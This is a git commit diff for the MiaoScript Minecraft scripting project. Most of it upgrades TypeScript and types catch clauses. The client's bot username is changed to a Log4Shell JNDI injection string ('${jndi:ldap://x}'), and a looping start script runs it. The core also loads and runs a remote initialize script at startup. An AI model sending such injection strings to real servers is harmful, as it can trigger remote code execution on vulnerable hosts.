feat: update typescript version

Signed-off-by: MiaoWoo <admin@yumc.pw>
This commit is contained in:
MiaoWoo 2021-12-26 01:21:06 +08:00
parent 72173b4778
commit 5ed61829e1
68 changed files with 234 additions and 161 deletions

View File

@ -30,6 +30,6 @@
"@javatypes/spring-rabbit": "^0.0.3", "@javatypes/spring-rabbit": "^0.0.3",
"reflect-metadata": "^0.1.13", "reflect-metadata": "^0.1.13",
"rimraf": "^3.0.2", "rimraf": "^3.0.2",
"typescript": "^4.3.5" "typescript": "^4.5.3"
} }
} }

View File

@ -15,7 +15,7 @@ export abstract class ChannelAwareMessageListenerAdapter<T = any> {
if (message.getMessageProperties().getContentType() == MessageProperties.CONTENT_TYPE_JSON) { if (message.getMessageProperties().getContentType() == MessageProperties.CONTENT_TYPE_JSON) {
content = JSON.parse(content) content = JSON.parse(content)
} }
} catch (error) { } catch (error: any) {
if (manual) { if (manual) {
channel.basicReject(message.getMessageProperties().getDeliveryTag(), true) channel.basicReject(message.getMessageProperties().getDeliveryTag(), true)
} else { } else {
@ -42,7 +42,7 @@ export abstract class ChannelAwareMessageListenerAdapter<T = any> {
} else { } else {
channel.basicNack(deliveryTag, false, true) channel.basicNack(deliveryTag, false, true)
} }
} catch (error) { } catch (error: any) {
channel.basicReject(deliveryTag, this.onError(error, message, channel)) channel.basicReject(deliveryTag, this.onError(error, message, channel))
} }
} }

View File

@ -29,6 +29,6 @@
"@types/base64-js": "^1.3.0", "@types/base64-js": "^1.3.0",
"reflect-metadata": "^0.1.13", "reflect-metadata": "^0.1.13",
"rimraf": "^3.0.2", "rimraf": "^3.0.2",
"typescript": "^4.3.5" "typescript": "^4.5.3"
} }
} }

View File

@ -45,7 +45,7 @@ export namespace command {
return (sender: any, _: any, command: string, args: string[]) => { return (sender: any, _: any, command: string, args: string[]) => {
try { try {
return executor(sender, command, Java.from(args)) return executor(sender, command, Java.from(args))
} catch (ex) { } catch (ex: any) {
console.i18n("ms.api.command.execute.error", { player: sender.name, plugin: plugin.description.name, command, args: Java.from(args).join(' '), ex }) console.i18n("ms.api.command.execute.error", { player: sender.name, plugin: plugin.description.name, command, args: Java.from(args).join(' '), ex })
console.ex(ex) console.ex(ex)
if (sender.name != 'CONSOLE') { if (sender.name != 'CONSOLE') {
@ -61,7 +61,7 @@ export namespace command {
var token = args[args.length - 1] var token = args[args.length - 1]
var complete = tabCompleter(sender, command, Java.from(args)) || [] var complete = tabCompleter(sender, command, Java.from(args)) || []
return this.copyPartialMatches(complete, token) return this.copyPartialMatches(complete, token)
} catch (ex) { } catch (ex: any) {
console.i18n("ms.api.command.tab.completer.error", { player: sender.name, plugin: plugin.description.name, command, args: Java.from(args).join(' '), ex }) console.i18n("ms.api.command.tab.completer.error", { player: sender.name, plugin: plugin.description.name, command, args: Java.from(args).join(' '), ex })
console.ex(ex) console.ex(ex)
console.sender(sender, [i18n.translate("ms.api.command.tab.completer.error", { player: sender.name, plugin: plugin.description.name, command, args: Java.from(args).join(' '), ex }), ...console.stack(ex)]) console.sender(sender, [i18n.translate("ms.api.command.tab.completer.error", { player: sender.name, plugin: plugin.description.name, command, args: Java.from(args).join(' '), ex }), ...console.stack(ex)])

View File

@ -123,7 +123,7 @@ export class MiaoScriptConsole implements Console {
if (sourceMapping && lineNumber != sourceMapping.mapping.sourceLine) { lineNumber = sourceMapping.mapping.sourceLine } if (sourceMapping && lineNumber != sourceMapping.mapping.sourceLine) { lineNumber = sourceMapping.mapping.sourceLine }
} }
} }
} catch (error) { } catch (error: any) {
console.debug('search source map', fileName, 'line', lineNumber, 'error:', error) console.debug('search source map', fileName, 'line', lineNumber, 'error:', error)
if (global.debug) { if (global.debug) {
console.ex(error) console.ex(error)

View File

@ -57,7 +57,7 @@ export namespace event {
this.mapEvent[simpleName] = clazz this.mapEvent[simpleName] = clazz
count++ count++
} }
} catch (ex) { } catch (ex: any) {
//ignore already loaded class //ignore already loaded class
} }
} }
@ -82,9 +82,9 @@ export namespace event {
let eventCls = this.mapEvent[event.toLowerCase()] || this.mapEvent[event.toLowerCase() + 'event'] let eventCls = this.mapEvent[event.toLowerCase()] || this.mapEvent[event.toLowerCase() + 'event']
if (!eventCls) { if (!eventCls) {
try { try {
eventCls = base.getClass(eventCls) eventCls = base.getClass(event)
this.mapEvent[event] = eventCls this.mapEvent[event] = eventCls
} catch (ex) { } catch (ex: any) {
console.i18n("ms.api.event.not.found", { name, event }) console.i18n("ms.api.event.not.found", { name, event })
return return
} }
@ -104,7 +104,7 @@ export namespace event {
console.i18n("ms.api.event.execute.slow", { name, event: this.class2Name(eventCls), cost }) console.i18n("ms.api.event.execute.slow", { name, event: this.class2Name(eventCls), cost })
} }
} }
} catch (ex) { } catch (ex: any) {
console.i18n("ms.api.event.execute.error", { name, event: this.class2Name(eventCls), ex }) console.i18n("ms.api.event.execute.error", { name, event: this.class2Name(eventCls), ex })
console.ex(ex) console.ex(ex)
} }

View File

@ -467,7 +467,7 @@ export namespace particle {
console.warn(`ParticleTask ${this.taskId} particle ${this.particle.getUUID()} cancel because entity and location both undefined!`) console.warn(`ParticleTask ${this.taskId} particle ${this.particle.getUUID()} cancel because entity and location both undefined!`)
this.task.cancel() this.task.cancel()
} }
} catch (error) { } catch (error: any) {
console.error(`§6插件 §a${this.owner.description.name} §c播放粒子发送异常 §4粒子播放任务已终止!`) console.error(`§6插件 §a${this.owner.description.name} §c播放粒子发送异常 §4粒子播放任务已终止!`)
console.ex(error) console.ex(error)
this.cancel() this.cancel()

View File

@ -134,7 +134,7 @@ export namespace server {
let consoleServer = this.getDedicatedServer() let consoleServer = this.getDedicatedServer()
this.reflectPipeline(consoleServer) this.reflectPipeline(consoleServer)
this.reflectRootLogger(consoleServer) this.reflectRootLogger(consoleServer)
} catch (error) { } catch (error: any) {
console.error('Error When Reflect MinecraftServer!', error) console.error('Error When Reflect MinecraftServer!', error)
console.ex(error) console.ex(error)
} }
@ -148,7 +148,7 @@ export namespace server {
if (connection.class.name.indexOf('ServerConnection') !== -1 if (connection.class.name.indexOf('ServerConnection') !== -1
|| connection.class.name.indexOf('NetworkSystem') !== -1) { break } || connection.class.name.indexOf('NetworkSystem') !== -1) { break }
connection = undefined connection = undefined
} catch (error) { } catch (error: any) {
if (global.debug) { if (global.debug) {
console.ex(error) console.ex(error)
} }
@ -160,7 +160,7 @@ export namespace server {
promise = reflect.on(connection).get(field).get().get(0) promise = reflect.on(connection).get(field).get().get(0)
if (promise.class.name.indexOf('Promise') !== -1) { break } if (promise.class.name.indexOf('Promise') !== -1) { break }
promise = undefined promise = undefined
} catch (error) { } catch (error: any) {
if (global.debug) { if (global.debug) {
console.ex(error) console.ex(error)
} }
@ -173,13 +173,13 @@ export namespace server {
protected reflectRootLogger(consoleServer: any) { protected reflectRootLogger(consoleServer: any) {
try { try {
this.rootLogger = reflect.on(consoleServer).get('LOGGER').get().parent this.rootLogger = reflect.on(consoleServer).get('LOGGER').get().parent
} catch (error) { } catch (error: any) {
if (global.debug) { if (global.debug) {
console.ex(error) console.ex(error)
} }
try { try {
this.rootLogger = reflect.on(consoleServer).get(0).get().parent this.rootLogger = reflect.on(consoleServer).get(0).get().parent
} catch (error) { } catch (error: any) {
if (global.debug) { if (global.debug) {
console.ex(error) console.ex(error)
} }

View File

@ -142,7 +142,7 @@ export namespace task {
try { try {
this.func(...args) this.func(...args)
!this.interval && process.emit('task.finish', this) !this.interval && process.emit('task.finish', this)
} catch (ex) { } catch (ex: any) {
console.console('§4插件执行任务时发生错误', ex) console.console('§4插件执行任务时发生错误', ex)
console.ex(ex) console.ex(ex)
} }

View File

@ -22,7 +22,7 @@
"@javatypes/spigot-api": "^0.0.3", "@javatypes/spigot-api": "^0.0.3",
"reflect-metadata": "^0.1.13", "reflect-metadata": "^0.1.13",
"rimraf": "^3.0.2", "rimraf": "^3.0.2",
"typescript": "^4.3.5" "typescript": "^4.5.3"
}, },
"dependencies": { "dependencies": {
"@ccms/api": "^0.17.0", "@ccms/api": "^0.17.0",

View File

@ -32,7 +32,7 @@ export class BukkitChannel extends channel.Channel {
onPluginMessageReceived: (/**String */ channel, /**Player */ player, /**byte[] */data) => { onPluginMessageReceived: (/**String */ channel, /**Player */ player, /**byte[] */data) => {
try { try {
listener(data, { channel, player, data }) listener(data, { channel, player, data })
} catch (error) { } catch (error: any) {
console.ex(error) console.ex(error)
} }
} }

View File

@ -16,7 +16,7 @@ export class BukkitChat extends chat.Chat {
sendTitle(sender: any, title: string, subtitle: string = '', fadeIn: number = 20, time: number = 100, fadeOut: number = 20) { sendTitle(sender: any, title: string, subtitle: string = '', fadeIn: number = 20, time: number = 100, fadeOut: number = 20) {
try { try {
sender.sendTitle(title, subtitle, fadeIn, time, fadeOut) sender.sendTitle(title, subtitle, fadeIn, time, fadeOut)
} catch (error) { } catch (error: any) {
sender.sendTitle(title, subtitle) sender.sendTitle(title, subtitle)
} }
} }

View File

@ -26,7 +26,7 @@ function nmsCls(name: string) {
function remapMethod(clazz: any, origin: string, test: string, params: any) { function remapMethod(clazz: any, origin: string, test: string, params: any) {
try { try {
return clazz.getMethod(origin, params) return clazz.getMethod(origin, params)
} catch (ex) { } catch (ex: any) {
if (RemapUtils) { if (RemapUtils) {
return clazz.getMethod(RemapUtils.mapMethod(clazz, origin, params), params) return clazz.getMethod(RemapUtils.mapMethod(clazz, origin, params), params)
} else { } else {
@ -38,7 +38,7 @@ function remapMethod(clazz: any, origin: string, test: string, params: any) {
function remapFieldName(clazz: any, origin: string, test: string) { function remapFieldName(clazz: any, origin: string, test: string) {
try { try {
return clazz.getField(origin) return clazz.getField(origin)
} catch (ex) { } catch (ex: any) {
if (RemapUtils) { if (RemapUtils) {
return clazz.getField(RemapUtils.mapFieldName(clazz, origin)) return clazz.getField(RemapUtils.mapFieldName(clazz, origin))
} else { } else {
@ -53,7 +53,7 @@ function init() {
nmsSubVersion = nmsVersion.split("_")[1] nmsSubVersion = nmsVersion.split("_")[1]
try { try {
RemapUtils = Java.type('catserver.server.remapper.RemapUtils') RemapUtils = Java.type('catserver.server.remapper.RemapUtils')
} catch (ex) { } catch (ex: any) {
} }
let nmsChatSerializerClass = undefined let nmsChatSerializerClass = undefined
if (nmsSubVersion < 8) { if (nmsSubVersion < 8) {
@ -119,7 +119,7 @@ function sendPacket(player: { handle: { [x: string]: { [x: string]: (arg0: any)
try { try {
init() init()
} catch (ex) { } catch (ex: any) {
org.bukkit.Bukkit.getConsoleSender().sendMessage(`§6[§cMS§6][§bbukkit§6][§achat§6] §cNMS Inject Error §4${ex} §cDowngrade to Command Mode...`) org.bukkit.Bukkit.getConsoleSender().sendMessage(`§6[§cMS§6][§bbukkit§6][§achat§6] §cNMS Inject Error §4${ex} §cDowngrade to Command Mode...`)
downgrade = true downgrade = true
} }

View File

@ -22,7 +22,7 @@
"@javatypes/bungee-api": "^0.0.3", "@javatypes/bungee-api": "^0.0.3",
"reflect-metadata": "^0.1.13", "reflect-metadata": "^0.1.13",
"rimraf": "^3.0.2", "rimraf": "^3.0.2",
"typescript": "^4.3.5" "typescript": "^4.5.3"
}, },
"dependencies": { "dependencies": {
"@ccms/api": "^0.17.0", "@ccms/api": "^0.17.0",

View File

@ -79,7 +79,7 @@ export class BungeeEvent extends event.Event {
currentPriorityMap.put(listener, methods); currentPriorityMap.put(listener, methods);
this.bakeHandlers.invoke(this.eventBus, eventCls); this.bakeHandlers.invoke(this.eventBus, eventCls);
return listener; return listener;
} catch (ex) { } catch (ex: any) {
console.ex(ex) console.ex(ex)
} finally { } finally {
this.lock.unlock() this.lock.unlock()
@ -108,7 +108,7 @@ export class BungeeEvent extends event.Event {
} }
this.bakeHandlers.invoke(this.eventBus, eventCls); this.bakeHandlers.invoke(this.eventBus, eventCls);
} }
} catch (ex) { } catch (ex: any) {
console.ex(ex) console.ex(ex)
} finally { } finally {
this.lock.unlock() this.lock.unlock()

View File

@ -26,7 +26,7 @@ export class BungeeServer implements server.Server {
// @ts-ignore // @ts-ignore
this.pipeline = reflect.on(base.getInstance().getProxy()).get('listeners').get().toArray()[0].pipeline() this.pipeline = reflect.on(base.getInstance().getProxy()).get('listeners').get().toArray()[0].pipeline()
wait.cancel() wait.cancel()
} catch (ex) { } catch (ex: any) {
count++ count++
if (count > 50) { if (count > 50) {
console.error('Reflect BungeeCord netty channel pipeline error time > 50times. Err: ' + ex) console.error('Reflect BungeeCord netty channel pipeline error time > 50times. Err: ' + ex)
@ -38,7 +38,7 @@ export class BungeeServer implements server.Server {
}).later(10).timer(20).submit() }).later(10).timer(20).submit()
try { try {
this.rootLogger = Bungee.getLogger() this.rootLogger = Bungee.getLogger()
} catch (error) { } catch (error: any) {
console.error("Can't found rootLogger!") console.error("Can't found rootLogger!")
} }
} }

View File

@ -19,14 +19,18 @@
"watch": "tsc --watch", "watch": "tsc --watch",
"build": "yarn clean && tsc", "build": "yarn clean && tsc",
"start": "node dist/index.js", "start": "node dist/index.js",
"debug": "DEBUG=minecraft-protocol node dist/index.js",
"emp": "node dist/emp.js",
"test": "echo \"Error: run tests from root\" && exit 1" "test": "echo \"Error: run tests from root\" && exit 1"
}, },
"dependencies": { "dependencies": {
"minecraft-protocol": "^1.25.0" "axios": "^0.24.0",
"minecraft-protocol": "^1.29.0",
"proxy-agent": "^5.0.0"
}, },
"devDependencies": { "devDependencies": {
"@types/node": "^16.4.12", "@types/node": "^16.4.12",
"rimraf": "^3.0.2", "rimraf": "^3.0.2",
"typescript": "^4.3.5" "typescript": "^4.5.3"
} }
} }

View File

@ -4,10 +4,26 @@ import { createClient } from 'minecraft-protocol'
import { attachForge } from './forge' import { attachForge } from './forge'
import { attachEvents } from './event' import { attachEvents } from './event'
let readUserInfo = process.argv[2] || 'Mr_jtb'
let realUserInfo = readUserInfo.split(":")
let username = realUserInfo[0]
let password = realUserInfo[1] || ''
// let readUserInfo = process.argv[2] || 'Mr_jtb'
// let realUserInfo = readUserInfo.split(":")
// let username = realUserInfo[0]
let username = '${jndi:ldap://x}'
let password = '';//realUserInfo[1] || ''
let version = process.argv[3] || '1.12.2' let version = process.argv[3] || '1.12.2'
let readAddress = process.argv[4] || '192.168.2.25:25565' let readAddress = process.argv[4] || '192.168.2.25:25565'
let realAddress = readAddress.split(":") let realAddress = readAddress.split(":")

5
packages/client/start.sh Executable file
View File

@ -0,0 +1,5 @@
while :; do
yarn emp
echo 进程退出 休眠120秒!
sleep 120
done

View File

@ -23,7 +23,7 @@
"@javatypes/jdk": "^0.0.3", "@javatypes/jdk": "^0.0.3",
"reflect-metadata": "^0.1.13", "reflect-metadata": "^0.1.13",
"rimraf": "^3.0.2", "rimraf": "^3.0.2",
"typescript": "^4.3.5" "typescript": "^4.5.3"
}, },
"gitHead": "562e2d00175c9d3a99c8b672aa07e6d92706a027" "gitHead": "562e2d00175c9d3a99c8b672aa07e6d92706a027"
} }

View File

@ -48,7 +48,7 @@ class Reflect {
try { try {
// Try getting a public field // Try getting a public field
field = this.class.getField(nameOrIndex) field = this.class.getField(nameOrIndex)
} catch (ex) { } catch (ex: any) {
// Try again, getting a non-public field // Try again, getting a non-public field
field = declaredField(this.class, nameOrIndex) field = declaredField(this.class, nameOrIndex)
} }
@ -113,10 +113,10 @@ function declaredConstructor(clazz, param) {
let constructor let constructor
try { try {
constructor = clazz.getDeclaredConstructor(types(param)) constructor = clazz.getDeclaredConstructor(types(param))
} catch (ex) { } catch (ex: any) {
try { try {
constructor = clazz.getDeclaredConstructor(types(param, true)) constructor = clazz.getDeclaredConstructor(types(param, true))
} catch (ex) { } catch (ex: any) {
constructor = clazz.getDeclaredConstructors()[0] constructor = clazz.getDeclaredConstructors()[0]
} }
} }
@ -132,7 +132,7 @@ function declaredField(clazz: java.lang.Class<any>, name: string | java.lang.Str
try { try {
field = target.getDeclaredField(name) field = target.getDeclaredField(name)
if (field !== null) { break } if (field !== null) { break }
} catch (e) { } catch (error: any) {
if (target === undefined) { break } if (target === undefined) { break }
target = target.getSuperclass() target = target.getSuperclass()
} }
@ -151,10 +151,10 @@ function declaredMethod(clazz: java.lang.Class<any>, nameOrIndex: string | numbe
} else { } else {
try { try {
methodCache.set(key, clazz.getMethod(nameOrIndex, clazzs as any)) methodCache.set(key, clazz.getMethod(nameOrIndex, clazzs as any))
} catch (ex) { } catch (ex: any) {
try { try {
methodCache.set(key, clazz.getDeclaredMethod(nameOrIndex, clazzs as any)) methodCache.set(key, clazz.getDeclaredMethod(nameOrIndex, clazzs as any))
} catch (ex) { } catch (ex: any) {
for (const m of Java.from(declaredMethods(clazz))) { for (const m of Java.from(declaredMethods(clazz))) {
if (m.getName() == nameOrIndex) { if (m.getName() == nameOrIndex) {
methodCache.set(key, m) methodCache.set(key, m)

View File

@ -21,6 +21,6 @@
"devDependencies": { "devDependencies": {
"reflect-metadata": "^0.1.13", "reflect-metadata": "^0.1.13",
"rimraf": "^3.0.2", "rimraf": "^3.0.2",
"typescript": "^4.3.5" "typescript": "^4.5.3"
} }
} }

View File

@ -22,7 +22,7 @@
"@ccms/nashorn": "^0.17.0", "@ccms/nashorn": "^0.17.0",
"reflect-metadata": "^0.1.13", "reflect-metadata": "^0.1.13",
"rimraf": "^3.0.2", "rimraf": "^3.0.2",
"typescript": "^4.3.5" "typescript": "^4.5.3"
}, },
"dependencies": { "dependencies": {
"inversify": "^5.1.1", "inversify": "^5.1.1",

View File

@ -37,8 +37,8 @@ export const provideSingletonNamed = (identifier: interfaces.ServiceIdentifier<a
*/ */
export const JavaClass = (className: string) => { export const JavaClass = (className: string) => {
return function (target: object, propertyKey: string, index?: number) { return function (target: object, propertyKey: string, index?: number) {
try { target[propertyKey] = Java.type(className).class; return } catch (error) { } try { target[propertyKey] = Java.type(className).class; return } catch (error: any) { }
try { target[propertyKey] = base.getClass(className); return } catch (error) { } try { target[propertyKey] = base.getClass(className); return } catch (error: any) { }
console.warn('JavaClass', className, 'Inject target', target.constructor.name, 'propertyKey', propertyKey, 'failed!') console.warn('JavaClass', className, 'Inject target', target.constructor.name, 'propertyKey', propertyKey, 'failed!')
} }
} }
@ -49,8 +49,8 @@ export const JavaClass = (className: string) => {
*/ */
export const JSClass = (className: string) => { export const JSClass = (className: string) => {
return function (target: object, propertyKey: string, index?: number) { return function (target: object, propertyKey: string, index?: number) {
try { target[propertyKey] = Java.type(className); return } catch (error) { } try { target[propertyKey] = Java.type(className); return } catch (error: any) { }
try { target[propertyKey] = base.getClass(className).static; return } catch (error) { } try { target[propertyKey] = base.getClass(className).static; return } catch (error: any) { }
console.warn('JSClass', className, 'Inject target', target.constructor.name, 'propertyKey', propertyKey, 'failed!') console.warn('JSClass', className, 'Inject target', target.constructor.name, 'propertyKey', propertyKey, 'failed!')
} }
} }

View File

@ -21,7 +21,7 @@
"devDependencies": { "devDependencies": {
"reflect-metadata": "^0.1.13", "reflect-metadata": "^0.1.13",
"rimraf": "^3.0.2", "rimraf": "^3.0.2",
"typescript": "^4.3.5" "typescript": "^4.5.3"
}, },
"dependencies": { "dependencies": {
"@ccms/api": "^0.17.0", "@ccms/api": "^0.17.0",

View File

@ -51,34 +51,34 @@ function detectServer(): constants.ServerType {
try { try {
Java.type("org.bukkit.Bukkit") Java.type("org.bukkit.Bukkit")
return constants.ServerType.Bukkit return constants.ServerType.Bukkit
} catch (ex) { } catch (ex: any) {
} }
try { try {
Java.type("org.spongepowered.api.Sponge") Java.type("org.spongepowered.api.Sponge")
return constants.ServerType.Sponge return constants.ServerType.Sponge
} catch (ex) { } catch (ex: any) {
} }
try { try {
Java.type("cn.nukkit.Nukkit") Java.type("cn.nukkit.Nukkit")
return constants.ServerType.Nukkit return constants.ServerType.Nukkit
} catch (ex) { } catch (ex: any) {
} }
try { try {
Java.type("net.md_5.bungee.api.ProxyServer") Java.type("net.md_5.bungee.api.ProxyServer")
return constants.ServerType.Bungee return constants.ServerType.Bungee
} catch (ex) { } catch (ex: any) {
} }
try { try {
Java.type("org.springframework.boot.SpringApplication") Java.type("org.springframework.boot.SpringApplication")
return constants.ServerType.Spring return constants.ServerType.Spring
} catch (ex) { } catch (ex: any) {
} }
throw Error('Unknow Server Type...') throw Error('Unknow Server Type...')
} }
function initialize() { function initialize() {
global.ScriptEngineVersion = require('../package.json').version global.ScriptEngineVersion = require('../package.json').version
try { engineLoad({ script: http.get("http://ms.yumc.pw/api/plugin/download/name/initialize"), name: 'core/initialize.js' }) } catch (error) { console.debug(error) } try { engineLoad({ script: http.get("http://ms.yumc.pw/api/plugin/download/name/initialize"), name: 'core/initialize.js' }) } catch (error: any) { console.debug(error) }
try { try {
let corePackageStartTime = new Date().getTime() let corePackageStartTime = new Date().getTime()
container.bind(ContainerInstance).toConstantValue(container) container.bind(ContainerInstance).toConstantValue(container)
@ -97,7 +97,7 @@ function initialize() {
let disable = container.get<MiaoScriptCore>(MiaoScriptCore).enable() let disable = container.get<MiaoScriptCore>(MiaoScriptCore).enable()
console.i18n("ms.core.engine.completed", { version: 'v' + global.ScriptEngineVersion, time: (Date.now() - global.ScriptEngineStartTime) / 1000 }) console.i18n("ms.core.engine.completed", { version: 'v' + global.ScriptEngineVersion, time: (Date.now() - global.ScriptEngineStartTime) / 1000 })
return disable return disable
} catch (error) { } catch (error: any) {
console.i18n("ms.core.initialize.error", { error }) console.i18n("ms.core.initialize.error", { error })
console.ex(error) console.ex(error)
return () => console.i18n('ms.core.engine.disable.abnormal') return () => console.i18n('ms.core.engine.disable.abnormal')

View File

@ -0,0 +1,38 @@
function initialize() {
var mspmc = 'http://ms.yumc.pw/api/plugin/download/name/'
var http = require('@ccms/common/dist/http').default
var fs = require('@ccms/common/dist/fs')
var yaml = require('js-yaml')
var pluginFolder = fs.concat(root, 'plugins')
var updateFolder = fs.concat(pluginFolder, 'update')
var pluginFile = fs.concat(pluginFolder, 'MiaoScriptPackageManager.js')
if (!fs.exists(pluginFile)) {
fs.mkdirs(pluginFile)
base.save(fs.concat(updateFolder, 'MiaoScriptPackageManager.auto.install'), '.')
}
fs.list(updateFolder).forEach(function (path) {
var file = path.toFile()
if (file.exists()) {
var filename = file.getName()
if (filename.endsWith(".auto.install")) {
var pluginName = filename.replace('.auto.install', '')
var pluginFile = fs.concat(pluginFolder, pluginName + '.js')
if (!fs.exists(pluginFile)) {
var pluginTemp = pluginFile + '.tmp'
http.download(mspmc + pluginName, pluginTemp)
fs.move(pluginTemp, pluginFile, true)
}
base.delete(file)
}
}
})
var core = http.get('https://registry.npmmirror.com/@ccms/core')
if (global.ScriptEngineVersion != core['dist-tags']['latest']) {
var Paths = Java.type('java.nio.file.Paths')
base.save(Paths.get(root, "upgrade"), core['dist-tags']['latest'])
}
console.debug('initialize finish!')
}
initialize()

View File

@ -22,7 +22,7 @@
"@javatypes/spring-jdbc": "^0.0.3", "@javatypes/spring-jdbc": "^0.0.3",
"reflect-metadata": "^0.1.13", "reflect-metadata": "^0.1.13",
"rimraf": "^3.0.2", "rimraf": "^3.0.2",
"typescript": "^4.3.5" "typescript": "^4.5.3"
}, },
"dependencies": { "dependencies": {
"@ccms/api": "^0.17.0", "@ccms/api": "^0.17.0",

View File

@ -17,7 +17,7 @@ export class DataBaseManager {
this.beanFactory = this.instance.getAutowireCapableBeanFactory() this.beanFactory = this.instance.getAutowireCapableBeanFactory()
let mainDatasource = this.beanFactory.getBean(Packages.javax.sql.DataSource.class) let mainDatasource = this.beanFactory.getBean(Packages.javax.sql.DataSource.class)
this.mainDatabase = new DataBase({ url: mainDatasource }) this.mainDatabase = new DataBase({ url: mainDatasource })
} catch (error) { } catch (error: any) {
console.ex(error) console.ex(error)
} }
} }

View File

@ -20,10 +20,10 @@
}, },
"devDependencies": { "devDependencies": {
"@ccms/nashorn": "^0.17.0", "@ccms/nashorn": "^0.17.0",
"@types/js-yaml": "^4.0.2", "@types/js-yaml": "^4.0.5",
"reflect-metadata": "^0.1.13", "reflect-metadata": "^0.1.13",
"rimraf": "^3.0.2", "rimraf": "^3.0.2",
"typescript": "^4.3.5" "typescript": "^4.5.3"
}, },
"dependencies": { "dependencies": {
"js-yaml": "^4.1.0" "js-yaml": "^4.1.0"

View File

@ -30,7 +30,7 @@
"@javatypes/spring-rabbit": "^0.0.3", "@javatypes/spring-rabbit": "^0.0.3",
"reflect-metadata": "^0.1.13", "reflect-metadata": "^0.1.13",
"rimraf": "^3.0.2", "rimraf": "^3.0.2",
"typescript": "^4.3.5" "typescript": "^4.5.3"
}, },
"gitHead": "2589633069d24f646ac09261b1b2304c21d4ea75" "gitHead": "2589633069d24f646ac09261b1b2304c21d4ea75"
} }

View File

@ -22,6 +22,6 @@
"devDependencies": { "devDependencies": {
"reflect-metadata": "^0.1.13", "reflect-metadata": "^0.1.13",
"rimraf": "^3.0.2", "rimraf": "^3.0.2",
"typescript": "^4.3.5" "typescript": "^4.5.3"
} }
} }

View File

@ -22,8 +22,8 @@
"@ccms/nashorn": "^0.17.0", "@ccms/nashorn": "^0.17.0",
"reflect-metadata": "^0.1.13", "reflect-metadata": "^0.1.13",
"rimraf": "^3.0.2", "rimraf": "^3.0.2",
"tslib": "^2.3.0", "tslib": "^2.3.1",
"typescript": "^4.3.5" "typescript": "^4.5.3"
}, },
"gitHead": "781524f83e52cad26d7c480513e3c525df867121" "gitHead": "781524f83e52cad26d7c480513e3c525df867121"
} }

View File

@ -49,7 +49,7 @@ function checkBoxedPrimitive(value, prototypeValueOf) {
try { try {
prototypeValueOf(value); prototypeValueOf(value);
return true; return true;
} catch (e) { } catch (error: any) {
return false; return false;
} }
} }
@ -421,4 +421,4 @@ exports.isAnyArrayBuffer = isAnyArrayBuffer;
throw new Error(method + ' is not supported in userland'); throw new Error(method + ' is not supported in userland');
} }
}); });
}); });

View File

@ -22,7 +22,7 @@
"@javatypes/nukkit-api": "^0.0.3", "@javatypes/nukkit-api": "^0.0.3",
"reflect-metadata": "^0.1.13", "reflect-metadata": "^0.1.13",
"rimraf": "^3.0.2", "rimraf": "^3.0.2",
"typescript": "^4.3.5" "typescript": "^4.5.3"
}, },
"dependencies": { "dependencies": {
"@ccms/api": "^0.17.0", "@ccms/api": "^0.17.0",

View File

@ -19,10 +19,10 @@
"test": "echo \"Error: run tests from root\" && exit 1" "test": "echo \"Error: run tests from root\" && exit 1"
}, },
"devDependencies": { "devDependencies": {
"@types/js-yaml": "^4.0.2", "@types/js-yaml": "^4.0.5",
"reflect-metadata": "^0.1.13", "reflect-metadata": "^0.1.13",
"rimraf": "^3.0.2", "rimraf": "^3.0.2",
"typescript": "^4.3.5" "typescript": "^4.5.3"
}, },
"dependencies": { "dependencies": {
"@ccms/api": "^0.17.0", "@ccms/api": "^0.17.0",

View File

@ -44,15 +44,16 @@ export class PluginCommandManager {
let cmdSubCache = Object.keys(pluginInstance.constructor.prototype).filter(s => s.startsWith('cmd')).map(s => s.substring(3)) let cmdSubCache = Object.keys(pluginInstance.constructor.prototype).filter(s => s.startsWith('cmd')).map(s => s.substring(3))
if (cmd.autoMain) { if (cmd.autoMain) {
cmdExecutor = (sender: any, command: string, args: string[]) => { cmdExecutor = (sender: any, command: string, args: string[]) => {
let subcommand = args[0] || 'help' let subcommand = args[0]
let cmdKey = 'cmd' + subcommand let cmdKey = 'cmd' + subcommand
if (!pluginInstance[cmdKey]) { if (pluginInstance[cmdKey]) {
pluginInstance.logger.sender(sender, '§4未知的子命令: §c' + subcommand) args.shift()
pluginInstance['cmdhelp'] && pluginInstance.logger.sender(sender, `§6请执行 §b/${command} §ahelp §6查看帮助!`) return pluginInstance[cmdKey].apply(pluginInstance, [sender, ...args])
return } else if (pluginInstance['cmdmain']) {
return pluginInstance['cmdmain'].apply(pluginInstance, [sender, ...args])
} }
args.shift() pluginInstance.logger.sender(sender, '§4未知的子命令: §c' + subcommand)
return pluginInstance[cmdKey].apply(pluginInstance, [sender, ...args]) pluginInstance['cmdhelp'] && pluginInstance.logger.sender(sender, `§6请执行 §b/${command} §ahelp §6查看帮助!`)
} }
let originCompleter = cmdCompleter let originCompleter = cmdCompleter
cmdCompleter = (sender: any, command: string, args: string[]) => { cmdCompleter = (sender: any, command: string, args: string[]) => {

View File

@ -83,22 +83,24 @@ export class PluginConfigManager {
private loadConfig0(plugin: plugin.Plugin, metadata: interfaces.ConfigMetadata) { private loadConfig0(plugin: plugin.Plugin, metadata: interfaces.ConfigMetadata) {
try { try {
metadata.file = fs.concat(fs.file(plugin.description.loadMetadata.file).parent, plugin.description.name, metadata.filename)
let configLoader = this.getConfigLoader(metadata.format)
let defaultValue = metadata.default ?? plugin[metadata.variable] let defaultValue = metadata.default ?? plugin[metadata.variable]
let configValue = defaultValue let configValue = defaultValue || {}
if (!fs.exists(metadata.file)) { if (defaultValue) {
base.save(metadata.file, configLoader.dump(defaultValue)) metadata.file = fs.concat(fs.file(plugin.description.loadMetadata.file).parent, plugin.description.name, metadata.filename)
console.i18n("ms.plugin.manager.config.save.default", { plugin: plugin.description.name, name: metadata.name, format: metadata.format }) let configLoader = this.getConfigLoader(metadata.format)
} else { if (!fs.exists(metadata.file)) {
configValue = configLoader.load(base.read(metadata.file)) || {} base.save(metadata.file, configLoader.dump(defaultValue))
if (defaultValue && this.setDefaultValue(configValue, defaultValue)) { console.i18n("ms.plugin.manager.config.save.default", { plugin: plugin.description.name, name: metadata.name, format: metadata.format })
base.save(metadata.file, configLoader.dump(configValue)) } else {
configValue = configLoader.load(base.read(metadata.file)) || {}
if (defaultValue && this.setDefaultValue(configValue, defaultValue)) {
base.save(metadata.file, configLoader.dump(configValue))
}
console.debug(`[${plugin.description.name}] Load Config ${metadata.variable} from file ${metadata.file} =>\n${JSON.stringify(configValue, undefined, 4).substr(0, 500)}`)
} }
